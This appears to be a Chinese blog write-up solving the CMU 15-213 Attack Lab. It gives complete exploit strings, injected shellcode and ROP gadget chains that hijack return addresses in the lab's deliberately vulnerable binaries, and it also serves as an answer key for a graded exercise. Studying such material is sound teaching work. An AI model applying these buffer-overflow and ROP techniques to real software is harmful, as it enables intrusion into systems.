Attack Lab 思路

Attack Lab

一定要看文档,之前没发觉还有文档,以至于我看完readme陷入了沉思…(呆
writeup-attack lab

Part I: Code Iniection Attacks

反汇编到ctarget.txt 方便分析

yuwxl@yuwxl-virtual-machine:~$ objdump -d ./ctarget > ctarget.txt

test()
在这里插入图片描述getbuf()
在这里插入图片描述
gets()的解释如下,gets()对接收的参数长度无限制,放入char buf[]时很容易buffer overflow

关于BUFFER_SIZE解释,根据机器生成的,是确定的,大概是每个人不一样
在这里插入图片描述
关于Gets说明
在这里插入图片描述

level1

Level1 Task
在这里插入图片描述

test()调用 getbuf(),getbuf()调用Gets()读取一个字符串并返回,我们要做到是注入一个exploit string攻击字符串,让程序不返回到test(),而是到我们的exploit code,此处的touch1()

touch1()
在这里插入图片描述
思路:test()调用 getbuf()时会将返回地址入栈,接着getbuf()在栈上分配自己的空间,getbuf()的局部变量与返回test()函数的返回地址紧邻,返回时,设法将返回地址改为touch1()首地址即可

查看反汇编如下:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

分析
1. 调用getbuf()时先将返回地址入栈
2. 4017a8: 48 83 ec 28 sub $0x28,%rsp, getbuf()在栈上分配了40个字节
3. 4017ac: 48 89 e7 mov %rsp,%rdi, 将%rsp复制到%rdi,即空间首地址作为参数传入Gets(),调用Gets()读取输入字符串放入栈上
4. 当字符串长度在40个字节以内是安全的,40个字节就用完了栈空间,40个字节以上就开始污染到返回test()返回地址,而我们要的就是污染返回地址,让其指向touch1()
4. 00000000004017c0 < touch1 >,touch1()地址

在level1.txt中写入
主要是后8个字节,前40个只需要消耗掉栈空间就行了,将其作为攻击字符串
在这里插入图片描述
注意小端

在这里插入图片描述

检验

yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 

level2

Level2 Task
在这里插入图片描述

同样是在getbuf()返回时,将程序引导到touch2(),但是这次还要将cookie作为参数传入touch2(),指导书说要将cookie存在%rdi

touch2()
在这里插入图片描述
在这里插入图片描述
思路:与Level1一样,要在getbuf()返回test()时,引导程序进入touch2(),但这次跳转前touch2()还需要一个放在%rdi中的cookie参数,多了将%rdi设置为cookie的操作(cookie已知,在另一文件中)

所以我们要曲线救国了
先跳到自己的函数->自己的函数跳到touch2()

1.将返回地址替换为自己写的函数的首地址,一开始的操作与level1方法一样,消耗栈空间,污染返回地址
2.自己写的函数可以进行%rdi%的赋值,然后跳转到touch2()
3.只能用ret转移控制权

于是编写这样一个函数,放在level2.s

mov 0x59b997fa,%rdi #cookie设置
pushq 0x4017ec #touch2()地址入栈,配合ret跳转  00000000004017ec <touch2>:
retq #pop,跳转到touch2()

得到机器代码

yuwxl@yuwxl-virtual-machine:~$ gcc -c level2.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level2.o
level2.o:     file format elf64-x86-64
Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   
yuwxl@yuwxl-virtual-machine:~$ 

那么这个函数放在哪呢?
由于我们只能通过注入的字符串进行操作,所以考虑将这个函数放到输入字符串的首位较为简单,即栈顶位置,查看%rsp

(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
=> 0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) print $rsp
$1 = (void *) 0x5561dc78
(gdb) 

组合起来,在level2.txt中输入

#前40个字节,占满栈空间
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
#覆盖原本返回到test()的返回地址->替换为自己所写函数的首地址
78 dc 61 55 00 00 00 00 #注意小端

检验:

yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
yuwxl@yuwxl-virtual-machine:~$ 

法二(就是法一换一种方式)

跳转touch2时手动将touch2地址写入栈,不用pop命令

编写函数为:

mov 0x59b997fa,%rdi #cookie设置
retq #返回,从栈上pop一个地址,栈上放的是touch2的地址

攻击字符串为:

48 c7 c7 fa 97 b9 59 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00 #  00000000004017ec <touch2>touch2()地址

检验:

yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
  user id	bovik
  course	15213-f15
  lab	attacklab
  result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00 
yuwxl@yuwxl-virtual-machine:~$ 

level3

level3 Task
在这里插入图片描述
第三关是干啥呢?看文档

还是在getbuf()返回时,引导程序到touch3(),但这次的通关要求是hexmatch(cookie,sval)返回结果为1,即,指针sval所指字符数组与cookie进行比较,那传入存放cookie的地址就好了

hexmatch()
在这里插入图片描述touch3()
在这里插入图片描述

思路:这次跳转touch3()之前不直接传入cookie,而是要先将cookie存起来,传入指向cookie的指针,文档说这个地址也是要存在%rdi

那cookie可以存哪呢?

我们只能通过注入字符串的方式进行我们的操作,那就把cookie包含在输入字符串中,然后如法炮制,跳转我们自己的函数,进行一系列操作然后跳到touch3(),所以cookie可以存在getbuf()分配的40个字节的区域

但是

在这里要考虑这样一个问题,当我们污染了返回地址,程序跳到了我们自己的函数没错,但同时getbuf()分配的40个字节的区域已经不属于栈,然后接下来调用touch3()hexmatch()时,会在栈上分配空间,也就是说,那个我们之前存cookie的那40个字节区域随时可能会被接下来的调用给覆盖,我们的cookie很危险

文档里也提到了在这里插入图片描述

所以cookie存在哪里?
getbuf()开辟的栈帧是不安全的,考虑是否能存入test()的栈帧(父栈),放入更深的栈%rsp之上,返回地址之上八个字节 0x5561dca0+0x8=0x5561dca8
查看getbuf()汇编得到其栈帧起始地址,即返回地址,然后往上推8个字节,准备从这里开始存放cookie

(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) print $rsp
$1 = (void *) 0x5561dca0
(gdb) 

自己写的函数如下

movq $0x5561dca8,%rdi #$0x5561dca8为存放cookie的地址
pushq $0x4018fa #touch3()首地址
retq# 跳转到touch3()

转换成机器码

yuwxl@yuwxl-virtual-machine:~$ gcc -c level3.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level3.o
level3.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   
yuwxl@yuwxl-virtual-machine:~$ 

攻击字符串组成为
自己的函数+填充字节+覆盖返回地址+cookie存入返回地址以上

#前两行存放自己的函数的地址
48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
#填充,消耗栈空间
00 00 00 00 00 00 00 00   
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
#替换返回地址 
78 dc 61 55 00 00 00 00
#cookie:0x59b997fa ASCII表示的字符串:35 39 62 39 39 37 66 61 00
35 39 62 39 39 37 66 61 00    #cookie存放在getbuf()栈帧之外,安全

cookie转化为字符串并以0结尾
在这里插入图片描述
检验

yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 
yuwxl@yuwxl-virtual-machine:~$ 

Part II: Return-oriented Programming

通过已有的可执行代码来完成我们的重定向操作,利用ret,不断跳转,借刀杀人

yuwxl@yuwxl-virtual-machine:~$ objdump -d ./rtarget > ratrget.txt

ROP方式攻击上面的level2,level3

为什么之前的攻击不起作用呢?

  1. 开启了栈随机化,栈的位置在程序每次运行时都有变化,难以预测攻击字符串的位置(空操作雪橇nop sled可暴力枚举,太庞大)
  2. 栈空间不允许有可执行指令,限制了可执行代码区域
    在这里插入图片描述
    关于栈随机化(ASLR)的进一步理解

我们可以通过缓冲区来注入可执行代码,但我们也要知道代码开始的位置,所以我们必须预测缓冲区的地址,然后将注入代码的位置正确的放在返回地址上,程序才能正确跳转,但每次运行时getbuf()的栈帧位置不确定,难以预测缓冲区地址

我们能精确的刚好污染到返回地址,前提是我们了解被注入代码的一些信息,比如分配的多少字节的空间,如以上的getbuf()分配了40个字节的空间,然后接下来就是返回地址,我们必须知道被注入代码本身的信息才能完成注入,这跟操作系统等相关

两次查看栈地址不一样

(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401b60 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) print $rsp
$2 = (void *) 0x7ffffffb7b58
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/yuwxl/rtarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12	in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401b60 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) print $rsp
$3 = (void *) 0x7ffffffda1f8
(gdb) 

所以我们难以注入攻击字符串(不知道地址,跳转不了),即使注入了,也不会正确执行,所以既然不能注入

能否利用已有代码? 分割,重组指令?改变其语义?

来用一个例子理解一下
在这里插入图片描述

看汇编代码会发生有趣的事情

48 89 c7编码了 movq %rax,%rdi的指令(附录有表),后接c3,返回指令
该函数起始地址为0x4004d9,以上序列起始地址为0x4004dc,且这个序列可以将寄存器%rax的值复制给%rdi,所以我们可以修改返回地址,让其指向内存中已有的一段指令,如这里的序列,称为gadget

所以ROP的策略是?

即使不知道栈在哪里,但是我们知道代码在哪里,并且依然可以对栈进行操作,随机化不断切换栈的位置,但是全局变量和代码本身的位置没有变,如果我们能知道已存在程序中的某段代码的位置,我们就可以做些事情:

找到所谓的gadget,gadget代表部分可执行程序的字节序列,都以c3(返回指令)结尾,如果我们不以可执行代码填充缓冲区,而是用gadget的地址,每一句gadget后面都接c3(返回指令),我们把一个gadget的地址放在返回地址,如果能够执行一个ret,就会从栈上弹出一个地址并且执行,当多个gadget被放在栈上,每执行一个gadget,ret返回,弹出下一个地址,执行第2个gadget,所有的gadget被连起来

合理的将gadget组织在栈中,或许可以完成我们要的操作

在这里插入图片描述

level2

Level2 Task ROP方式
在这里插入图片描述

那既然可以修改返回地址,并且跳转至另一内存地址,干嘛不直接覆盖返回地址,定位到touch2()?

别忘了我们还要进行cookie的存放操作,此时不能自己写函数了,写了函数也只能通过攻击字符串的方式放在栈上,但这次栈上不能执行指令,而且栈还是随机的(手动狗头

想方设法在已有代码指令中拼凑出我们希望的操作

  1. cookie存入%rdi
  2. 跳转到touch2()

怎么将cookie存入%rdi?

  1. 先把cookie存好,然后popq %rdi 所以去gadget farm中找5f
  2. 然后把touch2()地址放在下面,坐等着ret

5f 没找出来,,那只能又 曲线救国 * 2
那就在表中选另一个寄存器存,然后再移动过去,比如:

popq %rax #找58
movq %rax,%rdi #找48 89 c7

#选了下面这两个
#gadget1地址为0x4019cc
00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq  
  
相当于:
popq %rax
nop#无影响
ret

 #gadget2地址为0x4019c5
00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq  

再放几个其他选项
58

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   
00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   

48 89 c7

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq  
  
  00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

一些注意事项

1.no op 被编码为0x90,选gadget时注意其后接90,不会有影响
2. 只能用%rax~%rdi寄存器
3. 只能用两个gadgets
4. gadget在farm里面找
在这里插入图片描述

整理一下攻击思路

缓冲区
缓冲区
缓冲区 <——栈顶
gadget1的地址 (getbuf()原本的返回地址)
cookie
gadget2的地址
touch2()的地址

攻击字符串为

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  #前40个只是为了填充缓冲区
cc 19 40 00 00 00 00 00  #返回地址,放上gadget1的地址,跳转到gadget1
fa 97 b9 59 00 00 00 00  #cookie值,gadget1会做一个popq %rax操作,正好pop这个cookie,然后ret,又pop栈上下一个地址
c5 19 40 00 00 00 00 00  #gadget2地址,被pop,所以跳转到gadget2执行movq %rax,%rdi 操作,然后ret
ec 17 40 00 00 00 00 00  # touch2地址

检验

yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 
yuwxl@yuwxl-virtual-machine:~$ 

Level3

level3一样,我们要做两件事情

  1. cookie的地址存入%rdi,当做参数
  2. 跳转到touch3()

ROP的方式

Level3 Task ROP方式
在这里插入图片描述

ROPlevel2不同在于,这次cookie需要存放,我们只能通过攻击字符串在栈上操作,但是栈的地址随机,无法预测

如何得到指向cookie的指针呢?

直接肯定不行,栈是随机的,那我们考虑用已知地址来偏移,如果知道偏移量,可以间接拿到cookie地址

%rsp!

%rdi=%rsp+某个偏移量

写下这样的代码:

movq %rsp,%rax
add $0x20,%al #$常数为偏移量,暂时未定
movq %rax,%rdi

或者

movq %rsp,%rax
popq %rsi #%rsi为栈中所存偏移量
lea (%rsi,%rax,1),%rdi

可是gadget farm 里面能找到符合这个的碎片么

试第一种吧:

movq %rsp,%rax 
add 0x08,%rax #0x08为偏移量暂时未定
movq %rax,%rdi

反编译一下

yuwxl@yuwxl-virtual-machine:~$ gcc -c level3.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level3.o
level3.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:	48 89 e0             	mov    %rsp,%rax
   3:	04 20                	add    $0x20,%al
   5:	48 89 c7             	mov    %rax,%rdi
yuwxl@yuwxl-virtual-machine:~$ 

所以要找

  1. 48 89 e0
  2. 04 20
  3. 48 89 c7

1,3都可以在farm中找到,只是我选的这个偏移量没找到(emm,我要是黑客一定,,日常沮丧
在farm中搜了一下04 ,只有04 37 ,那就04 37吧
在这里插入图片描述

yuwxl@yuwxl-virtual-machine:~$ gcc -c level3.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level3.o
level3.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:	48 89 e0             	mov    %rsp,%rax
   3:	04 37                	add    $0x37,%al #至于为什么不写%rax,可能这样比较简便,对指令来说??(逃,
   5:	48 89 c7             	mov    %rax,%rdi

选取的gadgets

#gadget1地址为0x401a06
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq  

#gadget2地址为0x4019d8
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   
  
 # gadget3地址为0x4019a2
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

整理一下攻击思路

缓冲区
缓冲区
缓冲区 <——栈顶
gadget1的地址 (getbuf()原本的返回地址)
gadget2的地址
gadget3的地址
touch3()的地址 #00000000004018fa < touch3>
填充物,使cookie偏移为0x37
cookie 用栈顶地址偏移,这里就是%rsp+0x37,偏移量可随意设置,此题gadget有限

攻击字符串为

00 00 00 00 00 00 00 00   
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00   
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 #填满缓冲区

06 1a 40 00 00 00 00 00  #gadget1的地址
d8 19 40 00 00 00 00 00  #gadget2的地址
a2 19 40 00 00 00 00 00  #gadget3的地址
fa 18 40 00 00 00 00 00  #touch3的地址

00 00 00 00 00 00 00 00   
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 #以gadget1为准偏移0x37,即55,55-24=31,31个填充,使偏移量正确
35 39 62 39 39 37 66 61 00 #cookie字符串

检验

yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level3.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 D8 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 
yuwxl@yuwxl-virtual-machine:~$ 

注:这个官方文档说难,劝退来着,我这个可能没有按照要求,具体的大家还是看文档为准

总结

ctarget

  1. 将缓冲区占满,并且还把返回地址占了,换成touch1()首地址,自然就跳转至touch1()
  2. 将缓冲区占满,并且还把返回地址占了,换成自己函数的首地址(只能也在缓冲区)先做一些操作,然后返回,再跳到touch2()
  3. 同2,多了一步存cookie的操作

rtarget

  1. 将缓冲区占满,并且还把返回地址占了,换成gadget1的地址,将所需gadget2,3,,,依次排在更深的栈上,通过不断返回,借程序已有代码拼凑完成攻击
  2. 同1,但多一个用%rsp偏移寻址的操作

总之,缓冲区无限制,风险太大,不知道别人给你引哪旮旯去了,,

但Canary机制(这个lab没开启canary),或者函数多一个限制长度的参数就安全得多

自身:对汇编语言不是很熟悉,还有gdb调试,跟着前人的博客磕磕绊绊前进,一开始没有思路,后来就感觉栈上嘛,放哪都行吧,又由于farm的限制,解法在网络上也是有很多相似,但也可以思考其他的。这个lab中有很多细节我还没研究,可能学习过汇编的经验或者规律对这个lab有更快捷、更拓展的思路。lab很有趣,我bomb还没做完就来了,画出栈的图示会更加清楚,每一次思考都会带来新的理解,有时间会再次总结。

附录(文档中给的表)
在这里插入图片描述
在这里插入图片描述注:以上图片来自文档或对应课程ppt

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值